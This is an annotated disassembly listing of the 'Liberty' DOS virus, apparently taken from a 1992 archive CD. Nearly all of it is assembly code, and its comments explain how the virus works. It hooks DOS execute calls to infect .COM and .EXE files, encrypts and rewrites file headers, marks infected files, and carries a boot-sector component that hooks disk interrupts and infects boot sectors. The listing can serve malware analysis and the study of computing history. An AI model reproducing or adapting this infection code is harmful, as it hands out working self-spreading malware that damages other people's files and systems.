home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LIBERTY2.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  69KB  |  1,195 lines

  1. CS:0110 EB79          JMP 018B
  2. CS:0112 90            NOP                                    
  3. ;
  4. ; The program's original infomation is stored between these sections
  5. ;
  6. CS:018B 2E            CS: 
  7. CS:018C 803E090201    CMP BYTE PTR [0209],01     ; .EXE file ?
  8. CS:0191 7403          JZ 0196                               
  9. CS:0193 1F            POP DS                                 
  10. CS:0194 59            POP CX                                 
  11. CS:0195 5B            POP BX                                 
  12. CS:0196 50            PUSH AX                                 
  13. CS:0197 53            PUSH BX                                 
  14. CS:0198 51            PUSH CX                                 
  15. CS:0199 52            PUSH DX                                 
  16. CS:019A 1E            PUSH DS                                 
  17. CS:019B 06            PUSH ES                                 
  18. CS:019C 1E            PUSH DS                                 
  19. CS:019D 0E            PUSH CS                                 
  20. CS:019E 1F            POP DS                                 
  21. CS:019F E8CD00        CALL 026F                  ; Installation check
  22. CS:01A2 3DFFFF        CMP AX,FFFF                            
  23. CS:01A5 741A          JZ 01C1                               
  24. CS:01A7 E8D700        CALL 0281                  ; Get vector 21h
  25. CS:01AA 07            POP ES                                 
  26. CS:01AB 06            PUSH ES                                 
  27. CS:01AC 8CC0          MOV AX,ES                              
  28. CS:01AE 48            DEC AX                                 
  29. CS:01AF 8ED8          MOV DS,AX                              
  30. CS:01B1 E8DC00        CALL 0290                  ; Adjust MCB
  31. CS:01B4 8EC0          MOV ES,AX                              
  32. CS:01B6 0E            PUSH CS                                 
  33. CS:01B7 1F            POP DS                                 
  34. CS:01B8 E8EC00        CALL 02A7                  ; Move to Upper Memory
  35. CS:01BB E8F400        CALL 02B2                  ; Set vector 21h
  36. CS:01BE E80101        CALL 02C2                  ; Set installation flag
  37. CS:01C1 2E            CS:                                    
  38. CS:01C2 803E090201    CMP BYTE PTR [0209],01     ; .EXE file ?
  39. CS:01C7 7417          JZ 01E0                               
  40. CS:01C9 07            POP ES                                 
  41. CS:01CA 0E            PUSH CS                                 
  42. CS:01CB 1F            POP DS                                 
  43. CS:01CC E80901        CALL 02D8                  ; Decrypt header
  44. CS:01CF E81901        CALL 02EB                  ; Restore header
  45. CS:01D2 07            POP ES                                 
  46. CS:01D3 1F            POP DS                                 
  47. CS:01D4 5A            POP DX                                 
  48. CS:01D5 59            POP CX                                 
  49. CS:01D6 5B            POP BX                                 
  50. CS:01D7 58            POP AX                                 
  51. CS:01D8 1E            PUSH DS                                 
  52. CS:01D9 BF0001        MOV DI,0100                            
  53. CS:01DC 57            PUSH DI                                 
  54. CS:01DD 33FF          XOR DI,DI                              
  55. CS:01DF CB            RETF                       ; Start file
  56. CS:01E0 FA            CLI                                    
  57. CS:01E1 5E            POP SI                                 
  58. CS:01E2 07            POP ES                                 
  59. CS:01E3 1F            POP DS                                 
  60. CS:01E4 5A            POP DX                                 
  61. CS:01E5 59            POP CX                                 
  62. CS:01E6 5B            POP BX                                 
  63. CS:01E7 58            POP AX                                 
  64. CS:01E8 2E            CS:                                    
  65. CS:01E9 8B3E2C06      MOV DI,[062C]                          
  66. CS:01ED 03FE          ADD DI,SI                              
  67. CS:01EF 8ED7          MOV SS,DI                              
  68. CS:01F1 2E            CS:                                    
  69. CS:01F2 8B3E2E06      MOV DI,[062E]                          
  70. CS:01F6 8BE7          MOV SP,DI                  ; Restore stack
  71. CS:01F8 2E            CS:                                    
  72. CS:01F9 8B3E2806      MOV DI,[0628]                          
  73. CS:01FD 03FE          ADD DI,SI                              
  74. CS:01FF 57            PUSH DI                                 
  75. CS:0200 2E            CS:                                    
  76. CS:0201 FF362A06      PUSH [062A]                             
  77. CS:0205 33F6          XOR SI,SI                              
  78. CS:0207 EBD4          JMP 01DD                   ; Start file
  79. ;
  80. ; The encrypted Liberty header for .COM files
  81. ;
  82. DS:0200                                1D 69 D9 00 01 01
  83. DS:0210  80 80 40 40 20 20 10 10-08 08 A4 05 D2 04 C9 02
  84. DS:0220  4C 81 A8 40 49 20 21 90-0B 48 E8 69 95 05 4A 92
  85. DS:0230  21 1D 40 A8 43 28 90 14-4E 4C 07 27 D3 22 81 81
  86. DS:0240  C0 B0 40 C4 79 20 90 29-5C D0 AE 69 57 35 2B 9A
  87. DS:0250  31 CD 34 40 51 53 AE 5D-62 C0 E3 C1 B0 35 58 F6
  88. DS:0260  46 E5 20 02
  89. ;
  90. ; Various subroutines used by the virus
  91. ;
  92. CS:026F 2E            CS: 
  93. CS:0270 8A1E6A02      MOV BL,[026A]                          
  94. CS:0274 32FF          XOR BH,BH                              
  95. CS:0276 33C0          XOR AX,AX                              
  96. CS:0278 8ED8          MOV DS,AX                              
  97. CS:027A D1E3          SHL BX,1                               
  98. CS:027C D1E3          SHL BX,1                               
  99. CS:027E 8B07          MOV AX,[BX]                            
  100. CS:0280 C3            RET                                    
  101. CS:0281 A18400        MOV AX,[0084]                          
  102. CS:0284 2E            CS:                                    
  103. CS:0285 A38C03        MOV [038C],AX                          
  104. CS:0288 A18600        MOV AX,[0086]                          
  105. CS:028B 2E            CS:                                    
  106. CS:028C A38E03        MOV [038E],AX                          
  107. CS:028F C3            RET                                    
  108. CS:0290 BB4221        MOV BX,2142                            
  109. CS:0293 B104          MOV CL,04                              
  110. CS:0295 D3EB          SHR BX,CL                              
  111. CS:0297 291E0300      SUB [0003],BX                          
  112. CS:029B A10300        MOV AX,[0003]                          
  113. CS:029E 03060100      ADD AX,[0001]                          
  114. CS:02A2 A31200        MOV [0012],AX                          
  115. CS:02A5 40            INC AX                                 
  116. CS:02A6 C3            RET                                    
  117. CS:02A7 BF1001        MOV DI,0110                            
  118. CS:02AA 8BF7          MOV SI,DI                              
  119. CS:02AC B99A05        MOV CX,059A                            
  120. CS:02AF F3            REPZ                                    
  121. CS:02B0 A5            MOVSW                                    
  122. CS:02B1 C3            RET                                    
  123. CS:02B2 33C0          XOR AX,AX                              
  124. CS:02B4 8ED8          MOV DS,AX                              
  125. CS:02B6 FA            CLI                                    
  126. CS:02B7 B86C03        MOV AX,036C                            
  127. CS:02BA A38400        MOV [0084],AX                          
  128. CS:02BD 8C068600      MOV [0086],ES                          
  129. CS:02C1 C3            RET                                    
  130. CS:02C2 FA            CLI                                    
  131. CS:02C3 B8FFFF        MOV AX,FFFF                            
  132. CS:02C6 2E            CS:                                    
  133. CS:02C7 8A1E6A02      MOV BL,[026A]                          
  134. CS:02CB 32FF          XOR BH,BH                              
  135. CS:02CD D1E3          SHL BX,1                               
  136. CS:02CF D1E3          SHL BX,1                               
  137. CS:02D1 8907          MOV [BX],AX                            
  138. CS:02D3 40            INC AX                                 
  139. CS:02D4 894702        MOV [BX+02],AX                         
  140. CS:02D7 C3            RET                                    
  141. CS:02D8 B93C00        MOV CX,003C                            
  142. CS:02DB BE1301        MOV SI,0113                            
  143. CS:02DE 2E            CS:                                    
  144. CS:02DF 8B14          MOV DX,[SI]                            
  145. CS:02E1 D3CA          ROR DX,CL                              
  146. CS:02E3 2E            CS:                                    
  147. CS:02E4 8914          MOV [SI],DX                            
  148. CS:02E6 46            INC SI                                 
  149. CS:02E7 46            INC SI                                 
  150. CS:02E8 E2F4          LOOP 02DE                               
  151. CS:02EA C3            RET                                    
  152. CS:02EB BF0001        MOV DI,0100                            
  153. CS:02EE BE1301        MOV SI,0113                            
  154. CS:02F1 B93C00        MOV CX,003C                            
  155. CS:02F4 F3            REPZ                                    
  156. CS:02F5 A5            MOVSW                                    
  157. CS:02F6 C3            RET
  158. ;
  159. ; I am not sure what the next routine is supposed to be doing.
  160. ;
  161. CS:02F7 9C            PUSHF                                    
  162. CS:02F8 2E            CS:                                    
  163. CS:02F9 803E100301    CMP BYTE PTR [0310],01                 
  164. CS:02FE 740A          JZ 030A                               
  165. CS:0300 80FC03        CMP AH,03                              
  166. CS:0303 7505          JNZ 030A                               
  167. CS:0305 80FA80        CMP DL,80                              
  168. CS:0308 7207          JB 0311                               
  169. CS:030A 9D            POPF                                    
  170. CS:030B EA00000000    JMP 0000:0000
  171. CS:0311 06            PUSH ES
  172. CS:0312 0E            PUSH CS
  173. CS:0313 07            POP ES
  174. CS:0314 B80902        MOV AX,0209                            
  175. CS:0317 BB420C        MOV BX,0C42                            
  176. CS:031A B90100        MOV CX,0001                            
  177. CS:031D 9C            PUSHF                                    
  178. CS:031E 2E            CS:                                    
  179. CS:031F FF1E0C03      CALL FAR [030C]                         
  180. CS:0323 72E5          JB 030A                               
  181. CS:0325 B80905        MOV AX,0509                            
  182. CS:0328 BB4803        MOV BX,0348                            
  183. CS:032B B93100        MOV CX,0031                            
  184. CS:032E 9C            PUSHF                                    
  185. CS:032F 2E            CS:                                    
  186. CS:0330 FF1E0C03      CALL FAR [030C]                         
  187. CS:0334 72D4          JB 030A                               
  188. CS:0336 B80903        MOV AX,0309                            
  189. CS:0339 BB420C        MOV BX,0C42                            
  190. CS:033C B93100        MOV CX,0031                            
  191. CS:033F 9C            PUSHF                                    
  192. CS:0340 2E            CS:                                    
  193. CS:0341 FF1E0C03      CALL FAR [030C]                         
  194. CS:0345 07            POP ES                                 
  195. CS:0346 9D            POPF                                    
  196. CS:0347 CF            IRET                                    
  197. ;
  198. ; Another format table used by the virus
  199. ;
  200. DS:0340                          00 00 31 02 00 00 32 02
  201. DS:0350  00 00 33 02 00 00 34 02-00 00 35 02 00 00 36 02
  202. DS:0360  00 00 37 02 00 00 38 02-00 00 39 02
  203. ;
  204. ; The virus infects files by monitoring function 4Bh of vector 21h
  205. ;
  206. CS:036C 9C            PUSHF 
  207. CS:036D 3D004B        CMP AX,4B00                ; Execute function ?
  208. CS:0370 741E          JZ 0390                               
  209. CS:0372 EB16          JMP 038A                               
  210. CS:0374 90            NOP                                    
  211. CS:0375 E8B901        CALL 0531                  ; Close file
  212. CS:0378 E89A00        CALL 0415                  ; Restore vectors
  213. CS:037B C6060C04FF    MOV BYTE PTR [040C],FF                 
  214. CS:0380 90            NOP                                    
  215. CS:0381 9D            POPF                                    
  216. CS:0382 07            POP ES                                 
  217. CS:0383 1F            POP DS                                 
  218. CS:0384 5F            POP DI                                 
  219. CS:0385 5E            POP SI                                 
  220. CS:0386 5A            POP DX                                 
  221. CS:0387 59            POP CX                                 
  222. CS:0388 5B            POP BX                                 
  223. CS:0389 58            POP AX                                 
  224. CS:038A 9D            POPF                                    
  225. CS:038B EA77142C02    JMP 022C:1477              ; Continue
  226. CS:0390 50            PUSH AX                                 
  227. CS:0391 53            PUSH BX                                 
  228. CS:0392 51            PUSH CX                                 
  229. CS:0393 52            PUSH DX                                 
  230. CS:0394 56            PUSH SI                                 
  231. CS:0395 57            PUSH DI                                 
  232. CS:0396 1E            PUSH DS                                 
  233. CS:0397 06            PUSH ES                                 
  234. CS:0398 9C            PUSHF                                    
  235. CS:0399 E8A600        CALL 0442                  ; Set error vectors
  236. CS:039C E8E100        CALL 0480                  ; Open file
  237. CS:039F 72D4          JB 0375                               
  238. CS:03A1 0E            PUSH CS                                 
  239. CS:03A2 1F            POP DS                                 
  240. CS:03A3 0E            PUSH CS                                 
  241. CS:03A4 07            POP ES                                 
  242. CS:03A5 A30A04        MOV [040A],AX                          
  243. CS:03A8 93            XCHG BX,AX                              
  244. CS:03A9 C6060C0401    MOV BYTE PTR [040C],01                 
  245. CS:03AE 90            NOP                                    
  246. CS:03AF E8D800        CALL 048A                  ; Read file header
  247. CS:03B2 72C1          JB 0375                               
  248. CS:03B4 BB1301        MOV BX,0113                            
  249. CS:03B7 2E            CS:                                    
  250. CS:03B8 813F4D5A      CMP WORD PTR [BX],5A4D     ; .EXE file ?
  251. CS:03BC 7505          JNZ 03C3                               
  252. CS:03BE E8C001        CALL 0581                  ; Adapt header
  253. CS:03C1 EBB2          JMP 0375                               
  254. CS:03C3 2E            CS:                                    
  255. CS:03C4 C606090200    MOV BYTE PTR [0209],00     ; Set switch
  256. CS:03C9 E8CD00        CALL 0499                  ; Check infection
  257. CS:03CC 74A7          JZ 0375                               
  258. CS:03CE E8DD00        CALL 04AE                  ; Encrypt header
  259. CS:03D1 E8EB00        CALL 04BF                  ; Move to EOF
  260. CS:03D4 729F          JB 0375                               
  261. CS:03D6 83FA00        CMP DX,+00                 ;
  262. CS:03D9 759A          JNZ 0375                   ;
  263. CS:03DB 3D0005        CMP AX,0500                ;
  264. CS:03DE 7295          JB 0375                    ;
  265. CS:03E0 3DFFEF        CMP AX,EFFF                ;
  266. CS:03E3 7390          JNB 0375                   ; Check file size
  267. CS:03E5 E8EA00        CALL 04D2                  ; Move to next paragraph
  268. CS:03E8 728B          JB 0375                               
  269. CS:03EA E80701        CALL 04F4                  ; Write virus
  270. CS:03ED 7286          JB 0375                               
  271. CS:03EF 3BC1          CMP AX,CX                              
  272. CS:03F1 7C11          JL 0404                               
  273. CS:03F3 E81301        CALL 0509                  ; Move to BOF
  274. CS:03F6 7209          JB 0401                               
  275. CS:03F8 E86201        CALL 055D                  ; Decrypt Libery header
  276. CS:03FB E81E01        CALL 051C                  ; Write Liberty header
  277. CS:03FE E86F01        CALL 0570                  ; Encrypt Liberty Header
  278. CS:0401 E971FF        JMP 0375                               
  279. CS:0404 E83801        CALL 053F                  ; Set & get vector 13h
  280. CS:0407 E96BFF        JMP 0375                   
  281. ;
  282. ; Revectoring of error vectors.
  283. ;
  284. CS:0415 1E            PUSH DS                                 
  285. CS:0416 33DB          XOR BX,BX                              
  286. CS:0418 8EDB          MOV DS,BX                              
  287. CS:041A FA            CLI                                    
  288. CS:041B 2E            CS:                                    
  289. CS:041C 8B1E0D04      MOV BX,[040D]                          
  290. CS:0420 891E8C00      MOV [008C],BX                          
  291. CS:0424 2E            CS:                                    
  292. CS:0425 8B1E0F04      MOV BX,[040F]                          
  293. CS:0429 891E8E00      MOV [008E],BX                          
  294. CS:042D FA            CLI                                    
  295. CS:042E 2E            CS:                                    
  296. CS:042F 8B1E1104      MOV BX,[0411]                          
  297. CS:0433 891E9000      MOV [0090],BX                          
  298. CS:0437 2E            CS:                                    
  299. CS:0438 8B1E1304      MOV BX,[0413]                          
  300. CS:043C 891E8E00      MOV [008E],BX                          
  301. CS:0440 1F            POP DS                                 
  302. CS:0441 C3            RET                                    
  303. CS:0442 1E            PUSH DS                                 
  304. CS:0443 33DB          XOR BX,BX                              
  305. CS:0445 8EDB          MOV DS,BX                              
  306. CS:0447 8B1E8C00      MOV BX,[008C]                          
  307. CS:044B 2E            CS:                                    
  308. CS:044C 891E0D04      MOV [040D],BX                          
  309. CS:0450 8B1E8E00      MOV BX,[008E]                          
  310. CS:0454 2E            CS:                                    
  311. CS:0455 891E0F04      MOV [040F],BX                          
  312. CS:0459 FA            CLI                                    
  313. CS:045A BB3106        MOV BX,0631                            
  314. CS:045D 891E8C00      MOV [008C],BX                          
  315. CS:0461 8C0E8E00      MOV [008E],CS                          
  316. CS:0465 8B1E9000      MOV BX,[0090]                          
  317. CS:0469 2E            CS:                                    
  318. CS:046A 891E1104      MOV [0411],BX                          
  319. CS:046E 8B1E9200      MOV BX,[0092]                          
  320. CS:0472 FA            CLI                                    
  321. CS:0473 BB3206        MOV BX,0632                            
  322. CS:0476 891E9000      MOV [0090],BX                          
  323. CS:047A 8C0E9200      MOV [0092],CS                          
  324. CS:047E 1F            POP DS                                 
  325. CS:047F C3            RET
  326. ;
  327. ; Various subroutines used by the virus
  328. ;
  329. CS:0480 B8023D        MOV AX,3D02                            
  330. CS:0483 9C            PUSHF                                    
  331. CS:0484 2E            CS:                                    
  332. CS:0485 FF1E8C03      CALL FAR [038C]                         
  333. CS:0489 C3            RET                                    
  334. CS:048A B43F          MOV AH,3F                              
  335. CS:048C B97800        MOV CX,0078                            
  336. CS:048F BA1301        MOV DX,0113                            
  337. CS:0492 9C            PUSHF                                    
  338. CS:0493 2E            CS:                                    
  339. CS:0494 FF1E8C03      CALL FAR [038C]                         
  340. CS:0498 C3            RET                                    
  341. CS:0499 BF1301        MOV DI,0113                            
  342. CS:049C 81C76802      ADD DI,0268                            
  343. CS:04A0 81EF0A02      SUB DI,020A                            
  344. CS:04A4 BE6802        MOV SI,0268                            
  345. CS:04A7 FC            CLD                                    
  346. CS:04A8 B90700        MOV CX,0007                            
  347. CS:04AB F3            REPZ                                    
  348. CS:04AC A6            CMPSB                                    
  349. CS:04AD C3            RET                                    
  350. CS:04AE B93C00        MOV CX,003C                            
  351. CS:04B1 BE1301        MOV SI,0113                            
  352. CS:04B4 8B14          MOV DX,[SI]                            
  353. CS:04B6 D3C2          ROL DX,CL                              
  354. CS:04B8 8914          MOV [SI],DX                            
  355. CS:04BA 46            INC SI                                 
  356. CS:04BB 46            INC SI                                 
  357. CS:04BC E2F6          LOOP 04B4                               
  358. CS:04BE C3            RET
  359. CS:04BF B80242        MOV AX,4202                            
  360. CS:04C2 2E            CS:                                    
  361. CS:04C3 8B1E0A04      MOV BX,[040A]                          
  362. CS:04C7 33C9          XOR CX,CX                              
  363. CS:04C9 33D2          XOR DX,DX                              
  364. CS:04CB 9C            PUSHF                                    
  365. CS:04CC 2E            CS:                                    
  366. CS:04CD FF1E8C03      CALL FAR [038C]                         
  367. CS:04D1 C3            RET                                    
  368. CS:04D2 B90400        MOV CX,0004                            
  369. CS:04D5 D3E8          SHR AX,CL                              
  370. CS:04D7 BB6602        MOV BX,0266                            
  371. CS:04DA 8907          MOV [BX],AX                            
  372. CS:04DC 40            INC AX                                 
  373. CS:04DD B90400        MOV CX,0004                            
  374. CS:04E0 D3E0          SHL AX,CL                              
  375. CS:04E2 92            XCHG DX,AX                              
  376. CS:04E3 33C9          XOR CX,CX                              
  377. CS:04E5 B80042        MOV AX,4200                            
  378. CS:04E8 2E            CS:                                    
  379. CS:04E9 8B1E0A04      MOV BX,[040A]                          
  380. CS:04ED 9C            PUSHF                                    
  381. CS:04EE 2E            CS:                                    
  382. CS:04EF FF1E8C03      CALL FAR [038C]                         
  383. CS:04F3 C3            RET                                    
  384. CS:04F4 B9330B        MOV CX,0B33                            
  385. CS:04F7 B80040        MOV AX,4000                            
  386. CS:04FA BA1001        MOV DX,0110                            
  387. CS:04FD 2E            CS:                                    
  388. CS:04FE 8B1E0A04      MOV BX,[040A]                          
  389. CS:0502 9C            PUSHF                                    
  390. CS:0503 2E            CS:                                    
  391. CS:0504 FF1E8C03      CALL FAR [038C]                         
  392. CS:0508 C3            RET                                    
  393. CS:0509 B80042        MOV AX,4200                            
  394. CS:050C 2E            CS:                                    
  395. CS:050D 8B1E0A04      MOV BX,[040A]                          
  396. CS:0511 33C9          XOR CX,CX                              
  397. CS:0513 33D2          XOR DX,DX                              
  398. CS:0515 9C            PUSHF                                    
  399. CS:0516 2E            CS:                                    
  400. CS:0517 FF1E8C03      CALL FAR [038C]                         
  401. CS:051B C3            RET                                    
  402. CS:051C BA0A02        MOV DX,020A                            
  403. CS:051F B80040        MOV AX,4000                            
  404. CS:0522 2E            CS:                                    
  405. CS:0523 8B1E0A04      MOV BX,[040A]                          
  406. CS:0527 B97800        MOV CX,0078                            
  407. CS:052A 9C            PUSHF                                    
  408. CS:052B 2E            CS:                                    
  409. CS:052C FF1E8C03      CALL FAR [038C]                         
  410. CS:0530 C3            RET                                    
  411. CS:0531 B43E          MOV AH,3E                              
  412. CS:0533 2E            CS:                                    
  413. CS:0534 8B1E0A04      MOV BX,[040A]                          
  414. CS:0538 9C            PUSHF                                    
  415. CS:0539 2E            CS:                                    
  416. CS:053A FF1E8C03      CALL FAR [038C]                         
  417. CS:053E C3            RET                                    
  418. CS:053F 33C0          XOR AX,AX                              
  419. CS:0541 8ED8          MOV DS,AX                              
  420. CS:0543 FA            CLI                                    
  421. CS:0544 A14C00        MOV AX,[004C]                          
  422. CS:0547 2E            CS:                                    
  423. CS:0548 A31407        MOV [0714],AX                          
  424. CS:054B A14E00        MOV AX,[004E]                          
  425. CS:054E 2E            CS:                                    
  426. CS:054F A31607        MOV [0716],AX                          
  427. CS:0552 B8F906        MOV AX,06F9                            
  428. CS:0555 A34C00        MOV [004C],AX                          
  429. CS:0558 8C0E4E00      MOV [004E],CS                          
  430. CS:055C C3            RET
  431. ;
  432. ; Header encrypting
  433. ;
  434. CS:055D B92D00        MOV CX,002D                            
  435. CS:0560 BE0A02        MOV SI,020A                            
  436. CS:0563 2E            CS:                                    
  437. CS:0564 8B3C          MOV DI,[SI]                            
  438. CS:0566 D3CF          ROR DI,CL                              
  439. CS:0568 2E            CS:                                    
  440. CS:0569 893C          MOV [SI],DI                            
  441. CS:056B 46            INC SI                                 
  442. CS:056C 46            INC SI                                 
  443. CS:056D E2F4          LOOP 0563                               
  444. CS:056F C3            RET                                    
  445. CS:0570 BE0A02        MOV SI,020A                            
  446. CS:0573 B92D00        MOV CX,002D                            
  447. CS:0576 8B3C          MOV DI,[SI]                            
  448. CS:0578 D3C7          ROL DI,CL                              
  449. CS:057A 893C          MOV [SI],DI                            
  450. CS:057C 46            INC SI                                 
  451. CS:057D 46            INC SI                                 
  452. CS:057E E2F6          LOOP 0576                               
  453. CS:0580 C3            RET
  454. ;
  455. ; .EXE file handling
  456. ;
  457. CS:0581 8B7F02        MOV DI,[BX+02]                         
  458. CS:0584 83FFFF        CMP DI,-01                 ; Check infection
  459. CS:0587 7439          JZ 05C2                               
  460. CS:0589 8B7F16        MOV DI,[BX+16]                         
  461. CS:058C 83C710        ADD DI,+10                             
  462. CS:058F 893E2806      MOV [0628],DI                          
  463. CS:0593 8B7F14        MOV DI,[BX+14]                         
  464. CS:0596 893E2A06      MOV [062A],DI                          
  465. CS:059A 8B7F0E        MOV DI,[BX+0E]                         
  466. CS:059D 83C710        ADD DI,+10                             
  467. CS:05A0 893E2C06      MOV [062C],DI                          
  468. CS:05A4 8B7F10        MOV DI,[BX+10]                         
  469. CS:05A7 893E2E06      MOV [062E],DI                          
  470. CS:05AB BF1001        MOV DI,0110                            
  471. CS:05AE 897F14        MOV [BX+14],DI             ; Set IP
  472. CS:05B1 BF420D        MOV DI,0D42                            
  473. CS:05B4 897F10        MOV [BX+10],DI             ; Set SP
  474. CS:05B7 2E            CS:                                    
  475. CS:05B8 C606090201    MOV BYTE PTR [0209],01     ; Set switch
  476. CS:05BD E8FFFE        CALL 04BF                  ; Move to EOF
  477. CS:05C0 7301          JNB 05C3                               
  478. CS:05C2 C3            RET                                    
  479. CS:05C3 83FA0A        CMP DX,+0A                 ;
  480. CS:05C6 77FA          JA 05C2                    ; Check file size
  481. CS:05C8 B104          MOV CL,04                              
  482. CS:05CA D3E8          SHR AX,CL                              
  483. CS:05CC 40            INC AX                                 
  484. CS:05CD 3D0010        CMP AX,1000                            
  485. CS:05D0 7501          JNZ 05D3                               
  486. CS:05D2 42            INC DX                                 
  487. CS:05D3 D3E0          SHL AX,CL                              
  488. CS:05D5 50            PUSH AX                                 
  489. CS:05D6 52            PUSH DX                                 
  490. CS:05D7 B91000        MOV CX,0010                            
  491. CS:05DA F7F1          DIV CX                                 
  492. CS:05DC BB1301        MOV BX,0113                            
  493. CS:05DF 2D1100        SUB AX,0011                            
  494. CS:05E2 8B7F08        MOV DI,[BX+08]                         
  495. CS:05E5 2BC7          SUB AX,DI                              
  496. CS:05E7 894716        MOV [BX+16],AX             ; Set CodeSegment
  497. CS:05EA 89470E        MOV [BX+0E],AX             ; Set StackSegment
  498. CS:05ED 59            POP CX                                 
  499. CS:05EE 5A            POP DX                                 
  500. CS:05EF E8F3FE        CALL 04E5                  ; Move to next paragraph
  501. CS:05F2 722F          JB 0623                               
  502. CS:05F4 E8FDFE        CALL 04F4                  ; Write virus
  503. CS:05F7 722A          JB 0623                               
  504. CS:05F9 3BC1          CMP AX,CX                              
  505. CS:05FB 7C27          JL 0624                               
  506. CS:05FD E8BFFE        CALL 04BF                  ; Move to BOF
  507. CS:0600 7221          JB 0623                               
  508. CS:0602 B90002        MOV CX,0200                            
  509. CS:0605 F7F1          DIV CX                                 
  510. CS:0607 83FA00        CMP DX,+00                             
  511. CS:060A 7401          JZ 060D                               
  512. CS:060C 40            INC AX                                 
  513. CS:060D BB1301        MOV BX,0113                            
  514. CS:0610 894704        MOV [BX+04],AX             ; Set blocks
  515. CS:0613 C74702FFFF    MOV WORD PTR [BX+02],FFFF  ; Set infection mark
  516. CS:0618 E8EEFE        CALL 0509                  ; Move to BOF
  517. CS:061B 7206          JB 0623                               
  518. CS:061D BA1301        MOV DX,0113
  519. CS:0620 E8FCFE        CALL 051F                  ; Write header
  520. CS:0623 C3            RET                                    
  521. CS:0624 E818FF        CALL 053F                  ; Set & get vector 13h
  522. CS:0627 C3            RET                                    
  523. ;
  524. ; Error vectors
  525. ;
  526. CS:0631 CF            IRET                       ; Error vector 23h
  527. CS:0632 32C0          XOR AL,AL                  ;
  528. CS:0634 CF            IRET                       ; Error vector 24h
  529. ;
  530. ; The next part is the virus's bootsector
  531. ;
  532. CS:0635 EB01          JMP 0638                               
  533. CS:0637 90            NOP                                    
  534. CS:0638 33C0          XOR AX,AX                              
  535. CS:063A 8ED0          MOV SS,AX                              
  536. CS:063C BC007C        MOV SP,7C00                            
  537. CS:063F 33C0          XOR AX,AX                              
  538. CS:0641 8EC0          MOV ES,AX                              
  539. CS:0643 BB1304        MOV BX,0413                ;
  540. CS:0646 26            ES:                        ;
  541. CS:0647 8B07          MOV AX,[BX]                ;
  542. CS:0649 2D0A00        SUB AX,000A                ;
  543. CS:064C B106          MOV CL,06                  ;
  544. CS:064E 26            ES:                        ;
  545. CS:064F 8907          MOV [BX],AX                ; Decrease memory
  546. CS:0651 D3E0          SHL AX,CL
  547. CS:0653 8EC0          MOV ES,AX
  548. CS:0655 B80802        MOV AX,0208                ;
  549. CS:0658 BB1001        MOV BX,0110                ;
  550. CS:065B B93128        MOV CX,2831                ;
  551. CS:065E 33D2          XOR DX,DX                  ;
  552. CS:0660 CD13          INT 13                     ; Read virus
  553. CS:0662 06            PUSH ES                                 
  554. CS:0663 BB6806        MOV BX,0668                            
  555. CS:0666 53            PUSH BX                                 
  556. CS:0667 CB            RETF                                    
  557. CS:0668 2E            CS:                                    
  558. CS:0669 803EC8060A    CMP BYTE PTR [06C8],0A                 
  559. CS:066E 7446          JZ 06B6                               
  560. CS:0670 33C0          XOR AX,AX                              
  561. CS:0672 8ED8          MOV DS,AX                              
  562. CS:0674 2E            CS:                                    
  563. CS:0675 FE06C806      INC BYTE PTR [06C8]                    
  564. CS:0679 B80803        MOV AX,0308                            
  565. CS:067C BB1001        MOV BX,0110                            
  566. CS:067F B93128        MOV CX,2831                            
  567. CS:0682 33D2          XOR DX,DX                              
  568. CS:0684 CD13          INT 13                                 
  569. CS:0686 E85200        CALL 06DB                  ; Set & get vector 13h
  570. CS:0689 2E            CS:                        ;
  571. CS:068A C606470BFF    MOV BYTE PTR [0B47],FF     ;
  572. CS:068F 90            NOP                        ;
  573. CS:0690 2E            CS:                        ;
  574. CS:0691 C606950BFF    MOV BYTE PTR [0B95],FF     ;
  575. CS:0696 90            NOP                        ;
  576. CS:0697 2E            CS:                        ;
  577. CS:0698 C606080CFF    MOV BYTE PTR [0C08],FF     ; Switches off
  578. CS:069D 90            NOP                                    
  579. CS:069E E82902        CALL 08CA                  ; Set & get vector 8h
  580. CS:06A1 E85402        CALL 08F8                  ; Set & get vector 1Ch
  581. CS:06A4 E84104        CALL 0AE8                  ; Set & get vector 10h
  582. CS:06A7 E85804        CALL 0B02                  ; Set & get vector 14h
  583. CS:06AA E86F04        CALL 0B1C                  ; Set & get vector 17h
  584. CS:06AD E81900        CALL 06C9                  ; Read original bootsector
  585. CS:06B0 BB007C        MOV BX,7C00                ;
  586. CS:06B3 1E            PUSH DS                    ;
  587. CS:06B4 53            PUSH BX                    ;
  588. CS:06B5 CB            RETF                       ; Start
  589. CS:06B6 E81000        CALL 06C9                  ; Read bootsector
  590. CS:06B9 B80103        MOV AX,0301                            
  591. CS:06BC BB007C        MOV BX,7C00                            
  592. CS:06BF B90100        MOV CX,0001                            
  593. CS:06C2 33D2          XOR DX,DX                              
  594. CS:06C4 CD13          INT 13                                 
  595. CS:06C6 EBE5          JMP 06AD                               
  596. CS:06C9 33C0          XOR AX,AX
  597. CS:06CB 8EC0          MOV ES,AX                              
  598. CS:06CD B80102        MOV AX,0201                            
  599. CS:06D0 BB007C        MOV BX,7C00                            
  600. CS:06D3 B93F28        MOV CX,283F                            
  601. CS:06D6 33D2          XOR DX,DX                              
  602. CS:06D8 CD13          INT 13                                 
  603. CS:06DA C3            RET                                    
  604. CS:06DB 33C0          XOR AX,AX                              
  605. CS:06DD 8ED8          MOV DS,AX                              
  606. CS:06DF A14C00        MOV AX,[004C]                          
  607. CS:06E2 2E            CS:                                    
  608. CS:06E3 A31608        MOV [0816],AX                          
  609. CS:06E6 A14E00        MOV AX,[004E]                          
  610. CS:06E9 2E            CS:                                    
  611. CS:06EA A31808        MOV [0818],AX                          
  612. CS:06ED FA            CLI                                    
  613. CS:06EE B8FB07        MOV AX,07FB                            
  614. CS:06F1 A34C00        MOV [004C],AX                          
  615. CS:06F4 8C0E4E00      MOV [004E],CS                          
  616. CS:06F8 C3            RET
  617. ;
  618. ; Boot sectors are infected via vector 13h
  619. ;
  620. CS:06F9 9C            PUSHF                                    
  621. CS:06FA 80FC01        CMP AH,01                              
  622. CS:06FD 7E13          JLE 0712                               
  623. CS:06FF 80FC04        CMP AH,04                              
  624. CS:0702 7D0E          JGE 0712                               
  625. CS:0704 80FA80        CMP DL,80                              
  626. CS:0707 720F          JB 0718                               
  627. CS:0709 E8BE00        CALL 07CA                  ; Disconnect vector 13h
  628. CS:070C 07            POP ES                                 
  629. CS:070D 1F            POP DS                                 
  630. CS:070E 5A            POP DX                                 
  631. CS:070F 59            POP CX                                 
